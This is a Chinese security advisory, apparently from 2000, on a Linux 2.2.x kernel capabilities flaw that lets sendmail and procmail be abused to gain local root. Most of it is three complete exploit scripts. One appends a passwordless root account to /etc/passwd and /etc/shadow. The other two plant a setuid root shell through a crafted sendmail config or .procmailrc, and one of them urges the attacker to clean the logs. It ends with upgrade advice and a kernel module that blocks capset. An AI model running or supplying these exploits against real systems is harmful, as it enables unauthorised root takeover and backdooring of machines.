首页 -> 安全研究
安全研究
安全漏洞
Linux 内核Capabilities漏洞导致本地用户获取root权限
发布日期:2000-06-11
更新日期:2000-06-11
受影响系统:
Linux kernel 2.2.x (x<16)不受影响系统:
+ sendmail 8.10.1以及更低版本
procmail
Linux kernel 2.2.16描述:
POSIX中的"Capabilities"(能力,权限)在Linux kernel中已经得到实现。利用"Capabilities"
可以对授权进程进行更为精确的控制,通过指定某些"Capabilities",从一些程序中获得的访问权
限只能到达程序要求到达的部分,这无疑是一个安全措施。问题是"Capabilities"在fork()子进
程时可以被复制,这意味着如果"Capabilities"在父进程中被设置,就会被传递给子进程。如果
在父进程中将CAP_SETUID的能力禁止,那么子进程将不能执行setuid()调用。这就可能带来一个
安全问题,如果在子进程中执行sendmail,在sendmail想用setuid(getuid())丢弃掉root权限时,
它就不能真正的完成这个操作,因此sendmail就会仍然以root权限运行,攻击者可能利用.forward
来获取root权限。实际上,所有设置了setuid/setgid属性的程序都可能存在被攻击的可能。
<* 来源:Wojciech Purczynski (wp@elzabsoft.pl)
Gerrie
Peter Van Dijk <petervd@vuurwerk.nl>
Christophe GRENIER (grenier@nef.esiea.fr)
Kyle Sparger (ksparger@dialtoneinternet.net)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/bin/sh
echo Exploit for capability bug using sendmail
echo 8 june 2000 - Christophe GRENIER
echo grenier@nef.esiea.fr
echo http://www.esiea.fr/public_html/Christophe.GRENIER
echo
export BINDIR=$HOME
cat > add.c <<EOF
#include <fcntl.h>
#include <unistd.h>
int main (void)
{
int fd;
char string[40];
seteuid(0);
chmod("/etc/passwd",0644);
fd = open("/etc/passwd", O_APPEND|O_WRONLY);
if(fd>0)
{
strcpy(string, "kmaster0:x:0:0::/root:/bin/sh\n");
write(fd, string, strlen(string));
close(fd);
}
chmod("/etc/shadow",0600);
fd = open("/etc/shadow", O_APPEND|O_WRONLY);
if(fd>0)
{
strcpy(string, "kmaster0::11029:0:99999:7:::\n");
write(fd, string, strlen(string));
fchmod(fd,0400);
close(fd);
}
return 0;
}
EOF
cat > ex.c <<EOF
#include <stdlib.h>
#include <unistd.h>
#include <linux/capability.h>
int main (void)
{
cap_user_header_t header;
cap_user_data_t data;
header = malloc(8);
data = malloc(12);
header->pid = 0;
header->version = _LINUX_CAPABILITY_VERSION;
data->inheritable = data->effective = data->permitted = 0;
capset(header, data);
execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
return 0;
}
EOF
gcc -o $BINDIR/add add.c
gcc -o ex ex.c
chmod 755 $BINDIR/add
chmod 711 $BINDIR
cat > mail.msg << EOF
From: $USER
To: $USER
Subject: exploit
pipo
EOF
echo "\"|exec $BINDIR/add || exit 75 #GRENIER\"" > ~/.forward
chmod 600 ~/.forward
./ex < mail.msg
echo Waiting a little bit...
sleep 3
echo Cleaning
rm -f mail ex ex.c $BINDIR/add add.c ~/.forward
su - kmaster0
========================= bug_kernel.sh END ===================================
=========================== smlnx BEGIN =======================================
#!/bin/sh
echo "+-----------------------------------------------------------+"
echo "| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |"
echo "| local root exploit |"
echo "| |"
echo "| Bugs found and exploit written by Wojciech Purczynski |"
echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |"
echo "+-----------------------------------------------------------+"
TMPDIR=/tmp/foo
SUIDSHELL=/tmp/sush
SHELL=/bin/tcsh
umask 022
echo "Creating temporary directory"
mkdir -p $TMPDIR
cd $TMPDIR
echo "Creating anti-noexec library (capdrop.c)"
cat <<_FOE_ > capdrop.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
void unsetenv(const char*);
void _init(void) {
struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
unsetenv("LD_PRELOAD");
capset(&caph, &capd);
system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER");
}
_FOE_
echo "Compiling anti-noexec library (capdrop.so)"
cc capdrop.c -c -o capdrop.o
ld -shared capdrop.o -o capdrop.so
echo "Creating suid shell (sush.c)"
cat <<_FOE_ > sush.c
#include <unistd.h>
int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); }
_FOE_
echo "Compiling suid shell (sush.c)"
cc sush.c -o $TMPDIR/sush
echo "Creating shell script"
cat <<_FOE_ >script
mv $TMPDIR/sush $SUIDSHELL
chown root.root $SUIDSHELL
chmod 4111 $SUIDSHELL
exit 0
_FOE_
echo "Creating own sm.cf"
cat <<_FOE_ >$TMPDIR/sm.cf
O QueueDirectory=$TMPDIR
O ForwardPath=/no_forward_file
S0
R\$* \$#local \$: \$1
Mlocal, P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script
_FOE_
echo "Dropping CAP_SETUID and calling sendmail"
export LD_PRELOAD=$TMPDIR/capdrop.so
/bin/true
unset LD_PRELOAD
echo "Waiting for suid shell ($SUIDSHELL)"
while [ ! -f $SUIDSHELL ]; do sleep 1; done
echo "Removing everything"
cd ..
rm -fr $TMPDIR
echo "Suid shell at $SUIDSHELL"
$SUIDSHELL
=========================== smlnx END =======================================
=========================== prlnx BEGIN =======================================
#!/bin/sh
echo "+-----------------------------------------------------+"
echo "| Sendmail & procmail & kernel local root exploit |"
echo "| |"
echo "|Bugs found and exploit written by Wojciech Purczynski|"
echo "| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |"
echo "+-----------------------------------------------------+"
echo Creating cap.c
cat <<_FOE_ > cap.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
int main()
{
struct __user_cap_header_struct caph={
_LINUX_CAPABILITY_VERSION,
0
};
struct __user_cap_data_struct capd={
0,
0,
0xfffffe7f
};
capset(&caph, &capd);
system("echo|/usr/sbin/sendmail $USER");
}
_FOE_
echo Creating $HOME/.procmailrc
PROCMAILRCBAK=$HOME/.procmailrc.bak
mv -f $HOME/.procmailrc $PROCMAILRCBAK
cat <<_FOE_ > $HOME/.procmailrc
:H
*
|/bin/tcsh -c "rm -fr /bin/sush; mv -f /tmp/sush /bin/sush; chown root.root /bin/sush; chmod 4111 /bin/sush"
_FOE_
echo Compiling cap.c -> cap
cc cap.c -o cap
echo Creating sush.c
cat <<_FOE_ > sush.c
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}
_FOE_
echo Compiling sush
cc sush.c -o /tmp/sush
echo Executing cap
./cap
echo Don\'t forget to clean logs
echo Waiting for suid shell
while [ ! -f /bin/sush ]; do
sleep 1
done
echo Cleaning everything
rm -fr $HOME/.procmailrc cap.c cap sush.c
mv $PROCMAILRCBAK $HOME/.procmailrc
echo Executing suid shell
/bin/sush
============================ prlnx END =======================================
建议:
更新到kernel 2.2.16,下载地址:
http://www.kernel.org/pub/linux/kernel/v2.2/linux-2.2.16.tar.gz
临时解决办法:
ksparger提供了一个简单的内核模块,用来禁止设置capset功能
# gcc -DMODULE -c bogus_capset.c
# insmod bogus_capset.o
可以将上面这个命令加到启动文件中,或者设置每次启动时都自动装载这个模块
---------------------------------------
#include <linux/kernel.h>
#include <linux/module.h>
#include <sys/syscall.h>
#include <linux/linkage.h>
#include <linux/errno.h>
#include <sys/syscall.h>
extern void *sys_call_table[];
asmlinkage int bogus_capset()
{
return -EPERM;
}
int init_module()
{
sys_call_table[__NR_capset] = bogus_capset;
return 0;
}
void cleanup_module()
{
}
浏览次数:7858
严重程度:0(网友投票)
绿盟科技给您安全的保障